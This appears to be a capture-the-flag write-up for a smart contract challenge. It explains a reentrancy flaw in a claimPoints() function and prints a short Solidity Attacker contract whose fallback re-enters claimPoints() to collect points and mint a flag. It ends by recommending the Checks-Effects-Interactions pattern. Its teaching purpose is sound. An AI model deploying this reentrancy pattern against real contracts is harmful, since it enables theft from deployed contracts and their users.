In this challenge, you need to accumulate enough points to mint a flag. However, points can only be claimed once… or can they?
The contract has three main functions:
claimPoints(): Gives 1 point to the caller, but only if they haven’t claimed beforeresetPoints(): Resets points to zeromintFlag(): Mints a flag if you have 10 or more pointsclaimPoints(). When does it check points? When does it update them?
contract Attacker {
Challenge5 challenge;
uint256 callCount = 0;
fallback() external {
if (callCount < 10) {
callCount++;
challenge.claimPoints();
}
}
function attack() external {
challenge.claimPoints();
}
}
The attack works because:
1. Initial claimPoints() checks points (0)
2. Makes external call to our contract
3. Our fallback function calls claimPoints() again
4. Process repeats until we have enough points
5. State only updates after all recursive calls complete
Congratulations! You've exploited a classic reentrancy vulnerability! 🎉
Remember: Always update state BEFORE making external calls! The “Checks-Effects-Interactions” pattern exists to prevent exactly this type of vulnerability.
Reentrancy attacks are one of the most notorious vulnerabilities in smart contracts:
This specific pattern of checking state, making an external call, and then updating state has led to numerous exploits.